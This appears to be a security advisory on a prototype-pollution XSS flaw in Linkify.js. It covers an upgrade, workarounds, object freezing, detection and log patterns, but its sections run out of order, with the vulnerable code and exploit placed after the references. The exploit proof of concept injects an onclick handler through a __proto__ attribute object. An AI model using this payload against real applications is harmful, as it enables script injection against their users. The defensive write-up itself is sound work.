Upgrade to Linkify.js 4.3.2+
```
npm install linkifyjs@latest
```

Temporary Workarounds

// Safe wrapper function
function safeLinkify(text, options = {}) {
  // Remove __proto__ and constructor from options
  const safeOptions = JSON.parse(JSON.stringify(options));
  return linkifyHtml(text, safeOptions);
}

Secure Implementation Patterns

Input Validation

function validateAttributes(attrs) {
  const safeAttrs = {};
  const ALLOWED_ATTRS = ['class', 'target', 'rel', 'title'];
  
  for (const [key, value] of Object.entries(attrs)) {
    if (ALLOWED_ATTRS.includes(key)) {
      safeAttrs[key] = value;
    }
  }
  return safeAttrs;
}

Deep Object Freezing

Object.freeze() is a powerful JavaScript method that prevents modifications to an object. When applied, it:

Makes the object immutable (can't add, remove, or modify properties)
Prevents changes to property descriptors
Makes the object's prototype immutable

// Basic usage
const config = { apiKey: '123' };
Object.freeze(config);

config.apiKey = 'hacked'; // Fails silently in non-strict mode
delete config.apiKey;     // Fails
config.newProp = 'test';  // Fails

For nested objects, we need a recursive solution:

function deepFreeze(object) {
  // Freeze the object itself
  Object.freeze(object);
  
  // Handle null/undefined and non-objects
  if (object === null || typeof object !== 'object') {
    return object;
  }
  
  // Freeze all properties
  Object.getOwnPropertyNames(object).forEach(prop => {
    const value = object[prop];
    // Recursively freeze objects and functions, but skip already frozen objects
    if (!Object.isFrozen(value) && (value instanceof Object)) {
      deepFreeze(value);
    }
  });
  
  return object;
}

// Usage in Linkify.js context
const safeOptions = deepFreeze({
  attributes: {
    // ... your attributes
  }
});

This pattern is particularly effective against prototype pollution because:

It prevents modifications to the prototype chain
It makes the object's structure immutable
It fails loudly in strict mode when someone tries to modify it

For more in-depth information, refer to the MDN documentation on Object.freeze().

Important Note: While Object.freeze() is powerful, it only provides shallow immutability by default. Always use deep freezing for complex objects to ensure complete protection.

Detection & Response

Identifying Vulnerable Implementations

// Detection script
const isVulnerable = (() => {
  try {
    const test = {};
    linkifyHtml('test', {
      attributes: {
        __proto__: { test: 1 }
      }
    });
    return ({}).test === 1;
  } catch (e) {
    return false;
  }
})();

Log Analysis Patterns

Look for suspicious patterns in logs:

Unusual __proto__ properties in attribute objects
Unexpected event handlers in linkify operations
Multiple failed attempts with different attribute combinations

Conclusion

This vulnerability demonstrates the dangers of prototype pollution in JavaScript libraries and the importance of proper input validation. The impact is particularly severe given Linkify.js's widespread use in content management systems, forums, and social platforms.

References

When Linkify later sets link attributes, it blindly copies all enumerable keys, including inherited ones:

for (const attr in attributes) {
  element.setAttribute(attr, attributes[attr]);
}

Exploit PoC

import linkifyHtml from 'linkify-html';

const opts = {
  attributes: {
    __proto__: {
      onclick: "alert('XSS via prototype pollution')"
    }
  }
};

console.log(
  linkifyHtml('victim.com', opts)
);

Result: every generated <a> tag gets an onclick that pops XSS.

Impact

Stored/Reflected XSS in any app using vulnerable Linkify.js
Affects all platforms (browser/Node.js)
CVE reserved: CVE-2025-8101